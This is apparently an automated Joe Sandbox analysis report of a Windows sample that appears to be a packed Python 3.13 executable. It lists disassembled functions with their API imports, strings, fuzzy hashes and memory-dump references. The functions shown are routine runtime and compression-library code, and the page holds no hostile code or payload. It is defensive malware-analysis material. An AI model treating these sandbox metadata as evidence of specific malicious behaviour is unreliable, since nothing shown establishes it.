Instruction ID: 23891c94ccfbae8f1ee5ef28d63340dbc9028809e5bc62b8d3717c2ebc8fd39f
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction Fuzzy Hash: 4F21A172A197C192EB20EB51B8817E6A7A4FB88384F800231EEAD53699DF7CD545C790

Function 00007FFBBB633778 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

PyType_GetModuleByDef.PYTHON313 ref: 00007FFBBB6337A7
PyModule_GetState.PYTHON313 ref: 00007FFBBB6337B0
_PyArg_NoPositional.PYTHON313 ref: 00007FFBBB6337E0
_PyArg_NoKeywords.PYTHON313 ref: 00007FFBBB633802

Strings

BZ2Decompressor, xrefs: 00007FFBBB6337D9, 00007FFBBB6337FB

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Arg_$KeywordsModuleModule_PositionalStateType_
String ID: BZ2Decompressor
API String ID: 2980520244-1337346095
Opcode ID: afed0f35918e07c7ed392c872454de98ee5c60d2288c0fb2d16eeed887e30540
Instruction ID: 3d76b7d10c1d02cd531544358762cf3ee222a2b173a0ad7698b91ac6ad589791
Opcode Fuzzy Hash: afed0f35918e07c7ed392c872454de98ee5c60d2288c0fb2d16eeed887e30540
Instruction Fuzzy Hash: 5B21E5A3A09A8691EA508F2EEC40579A7B4FB44B94F488032DF4E47774DE7CEC95C308

Function 00007FF7FF599AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7FF599B1D
GetProcAddress.KERNEL32 ref: 00007FF7FF599B33
FreeLibrary.KERNEL32 ref: 00007FF7FF599B5A

Strings

mscoree.dll, xrefs: 00007FF7FF599B14
CorExitProcess, xrefs: 00007FF7FF599B2C

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction ID: 4cbbaa73a43a3f4b39e91f011e3df131ced85e44cc30110a830a55516fbd4564
Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction Fuzzy Hash: 2AF04F61A09B8691EB24AF24A4553BAA721AF45761F940335C67E471F4DF2CD05583E0

Function 00007FF7FF5A93D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7FF5A9400
_set_statfp.LIBCMT ref: 00007FF7FF5A941B
_set_statfp.LIBCMT ref: 00007FF7FF5A9437
_set_statfp.LIBCMT ref: 00007FF7FF5A9473

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 373582d56bc14f5b79f989221e51d831d5d5636bbf65fbbd04a4fb52ef9f3c97
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 9F11BF62E4EEF701F7543924D4963F5A0447F58360F840734EBBE872D68E2CA861C1A0

Function 00007FF7FF59B400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B41F
FlsSetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B43E
FlsSetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B466
FlsSetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B477
FlsSetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B488

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: ccac5f17aa91da4f3bae42de7e7333904383ed8f97faa160faf07aaa8124ee46
Instruction ID: 21f75c244663fa12a2c73b7ceab3ba02b868ae5af6446711379f7e5035b369d9
Opcode Fuzzy Hash: ccac5f17aa91da4f3bae42de7e7333904383ed8f97faa160faf07aaa8124ee46
Instruction Fuzzy Hash: 49114C20A0DAC642FB7CB72556511F9E2865F847B0FD88334E93E576E6DE2CE50293A0

Function 00007FFBBB612928 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313 ref: 00007FFBBB612936
_Py_Dealloc.PYTHON313 ref: 00007FFBBB6129AB
_Py_Dealloc.PYTHON313 ref: 00007FFBBB6129B3
_Py_Dealloc.PYTHON313 ref: 00007FFBBB615B88

Memory Dump Source

Source File: 00000002.00000002.1507537143.00007FFBBB601000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FFBBB600000, based on PE: true

Associated: 00000002.00000002.1507511842.00007FFBBB600000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB617000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507566222.00007FFBBB61B000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507625049.00007FFBBB622000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1507647689.00007FFBBB623000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb600000_YgJ5inWPQO.jbxd

Similarity

API ID: Dealloc$Module_State
String ID:
API String ID: 3434497292-0
Opcode ID: c2701d65d8635c800b2368b5dae6d5e2904f33743157c36a0849544e439b2f51
Instruction ID: af0cabf6268e3699505798e367be3c53774dc92a35196f248a82809b66184d3b
Opcode Fuzzy Hash: c2701d65d8635c800b2368b5dae6d5e2904f33743157c36a0849544e439b2f51
Instruction Fuzzy Hash: E121C3B2D1AA0A85FB594F7EDC14338B2A0BF54B15F18A931C70F452B08F6DAC828749

Function 00007FF7FF59B294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7FF59B2A5
FlsSetValue.KERNEL32 ref: 00007FF7FF59B2C4
FlsSetValue.KERNEL32 ref: 00007FF7FF59B2EC
FlsSetValue.KERNEL32 ref: 00007FF7FF59B2FD
FlsSetValue.KERNEL32 ref: 00007FF7FF59B30E

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 189bd32c29972b75cbfb961d88c763c1323b9a0b7d58335ae669547dde4e0126
Instruction ID: 316882c0d52f0d42a96982b0d06deb3e468641e184b38baeaf343e5116f1fc3b
Opcode Fuzzy Hash: 189bd32c29972b75cbfb961d88c763c1323b9a0b7d58335ae669547dde4e0126
Instruction Fuzzy Hash: 92112A24E0928B52FB7CB36544521FDA1858F46770FD88738D93E5B2E2DD2CB50142F1

Function 00007FFBBB639E60 Relevance: 7.5, APIs: 5, Instructions: 40COMMON

Download Yara Rule

APIs

PyModule_GetState.PYTHON313 ref: 00007FFBBB639E72
PyType_FromModuleAndSpec.PYTHON313 ref: 00007FFBBB639E88
PyModule_AddType.PYTHON313 ref: 00007FFBBB639E9E
PyType_FromModuleAndSpec.PYTHON313 ref: 00007FFBBB639EB5
PyModule_AddType.PYTHON313 ref: 00007FFBBB639ECA

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: Module_$FromModuleSpecTypeType_$State
String ID:
API String ID: 1138651315-0
Opcode ID: ec3a0373053720cebc4d7731e40fe1f8f9fc4326cfe36c4b6aa1d52bed026cc4
Instruction ID: f572afe00a486fb3a6a2c7bc099c03fe0775f95abf0df4fc30fe36de4e917d7d
Opcode Fuzzy Hash: ec3a0373053720cebc4d7731e40fe1f8f9fc4326cfe36c4b6aa1d52bed026cc4
Instruction Fuzzy Hash: 41014062B19B4282EA148B3EED4463AA3A0FF49BC0B449034DF5F47BA4DF2CE954C704

Function 00007FF7FF596010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59604C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF596176
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59622C

Strings

verbose, xrefs: 00007FF7FF596020

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 50e1d1209a7165d453bee2a0231e885041ac78346e44468ad3a2f770e2c18d7e
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: C491B132A08A8685FB79AF24D4507BDB791AB40B94FC44336DA79473D5DF3CE40A83A1

Function 00007FF7FF59FC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59FF17

Part of subcall function 00007FF7FF597AAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF597AC9

Strings

UTF-16LEUNICODE, xrefs: 00007FF7FF59FEB5
ccs, xrefs: 00007FF7FF59FE52
UTF-8, xrefs: 00007FF7FF59FE96

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction ID: 099db035078488b178ef4e75341e2ff237f372823fdb75a7423a4ba6f501a310
Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction Fuzzy Hash: 9881C432E0C2C286F7BC6F2581102F8B6E0AB51748FD99235DA39972C5DF2DE90183E1

Function 00007FFBBB632358 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 175COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBBB63B2C3

Strings

block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d, xrefs: 00007FFBBB63B2CE
final combined CRC = 0x%08x , xrefs: 00007FFBBB63B2FF

Memory Dump Source

Source File: 00000002.00000002.1507696476.00007FFBBB631000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFBBB630000, based on PE: true

Associated: 00000002.00000002.1507671623.00007FFBBB630000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507721671.00007FFBBB63D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507748441.00007FFBBB641000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1507768534.00007FFBBB642000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbb630000_YgJ5inWPQO.jbxd

Similarity

API ID: __acrt_iob_func
String ID: block %d: crc = 0x%08x, combined CRC = 0x%08x, size = %d$ final combined CRC = 0x%08x
API String ID: 711238415-3357347091
Opcode ID: f92f81069268f452d2bc39fb51a334a3de6d6541b7d8f5fa574193166bce348c
Instruction ID: 7d8c6a0623b099631f9a3d73cc211cab5842a35c6efb82d1b05207642395eb35
Opcode Fuzzy Hash: f92f81069268f452d2bc39fb51a334a3de6d6541b7d8f5fa574193166bce348c
Instruction Fuzzy Hash: 666170A7B1A61646E620AF3EE8056A9B350FB85F84F549035DF0B07766CF7DE802CB44

Function 00007FF7FF58D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7FF58D6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7FF58D77A
RtlUnwindEx.KERNEL32 ref: 00007FF7FF58D7D4

Strings

csm, xrefs: 00007FF7FF58D761

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: d489551160167ab9b0a6567a1cfcfaaeeb678087ee9f8f5455c1602c2fa9376d
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: 1D51A232B196818ADB14AF15E044BB8A7D1FB44B98F914230DA7D877C8EF3CE845CB90

Function 00007FFBBCD4E720 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBBCD4E74B
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FFBBCD4E7E2
RtlUnwindEx.KERNEL32(?,?,?,?,?,?,?,00007FFBBCD4E4E5), ref: 00007FFBBCD4E83C

Strings

csm, xrefs: 00007FFBBCD4E7C9

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b6877663b72478c921046e8b62552550de42e283109204e7406cf9fbc6b57853
Instruction ID: 60545f858aa65fd9ca9168f6b2333019c5f805f4338b4330fb18e3e9f9121f98
Opcode Fuzzy Hash: b6877663b72478c921046e8b62552550de42e283109204e7406cf9fbc6b57853
Instruction Fuzzy Hash: E051C4FAB196029AEB54CB29E048638B791FB84B98F544139DB4E47B88DF7CE941C704

Function 00007FF7FF58EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7FF58EFA7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7FF58EFF3

Strings

RCC, xrefs: 00007FF7FF58EFC3
MOC, xrefs: 00007FF7FF58EFBB

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction ID: 17ab65d3ae5609a70c0cdbac56963b814ad9c94e18f717db7be9dd65e50831d0
Opcode Fuzzy Hash: 1984f943fe60021c6db05f5888f7dd086acc6d0e2a461e0c712dd9be4fa02006
Instruction Fuzzy Hash: 1561B432908BC586D760AB15E4407EAFBA0FB89784F444325EBAD07B95DF7CD191CB50

Function 00007FF7FF58F2F8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7FF58F320
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7FF58F408

Strings

csm, xrefs: 00007FF7FF58F45A
csm, xrefs: 00007FF7FF58F342

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction ID: 6ed6950d718bc4685e13a8d95892edc7af1d3145f7b4974e79e59d24daaf7f10
Opcode Fuzzy Hash: 1b872e8f6993e9c5779cc40e3c84c693849f7921638dfce8d08fafba9ab8d571
Instruction Fuzzy Hash: 26518E329086C286EB64AE2194443A8B6E0FB59B94F944336EABD47BD5CF3CE450C791

Function 00007FFBBCD434E0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBBCD45508: abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FFBBCD4108E), ref: 00007FFBBCD45516

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFBBCD4358A
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFBBCD435B3
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBBCD43611

Strings

csm, xrefs: 00007FFBBCD436B7

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: abort$CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 444109036-1018135373
Opcode ID: 7c62ae0bd6f598e5530dee3ab7a169ccc6f3387c11d68efdd1ef4d3d9c7f7e50
Instruction ID: a07aa9fd2487b20efdeb74e9701057ec17aca8a4734c00c9016a856a313bf8e3
Opcode Fuzzy Hash: 7c62ae0bd6f598e5530dee3ab7a169ccc6f3387c11d68efdd1ef4d3d9c7f7e50
Instruction Fuzzy Hash: A65150FA71874286E620EF69E44926D7BA4FB89BA0F140535DB8D07B55DF3CE460CB04

Function 00007FFBBCD499AC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::DName.LIBVCRUNTIME ref: 00007FFBBCD49A06

Strings

%lf, xrefs: 00007FFBBCD49A41, 00007FFBBCD49A75, 00007FFBBCD49AA5

Memory Dump Source

Source File: 00000002.00000002.1507818191.00007FFBBCD41000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FFBBCD40000, based on PE: true

Associated: 00000002.00000002.1507793399.00007FFBBCD40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507847370.00007FFBBCD54000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507910297.00007FFBBCD59000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.1507939034.00007FFBBCD5A000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbbcd40000_YgJ5inWPQO.jbxd

Similarity

API ID: NameName::
String ID: %lf
API String ID: 1333004437-2891890143
Opcode ID: 96db185dee724ff1af179d5801cdaf6ae824addfb7b5e3897bc050de27ca576d
Instruction ID: 4e6fd124b2f2a7a5218ff2b9ba7cbe556c2964a6a400605ba9910f86aa1c5b15
Opcode Fuzzy Hash: 96db185dee724ff1af179d5801cdaf6ae824addfb7b5e3897bc050de27ca576d
Instruction Fuzzy Hash: B431D6E5B08B8685FA11DB7AE8991BA7364FF45780F444132EB5E53395DE3CE502C708

Function 00007FF7FF587E10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 81COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00007FF7FF58352C,?,00000000,00007FF7FF583F23), ref: 00007FF7FF587F22

Strings

%s%c, xrefs: 00007FF7FF587E94
%.*s, xrefs: 00007FF7FF587EDB
\, xrefs: 00007FF7FF587E87

Memory Dump Source

Source File: 00000002.00000002.1498290225.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000002.00000002.1498251254.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498348217.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498718934.00007FF7FF5C1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1498764854.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

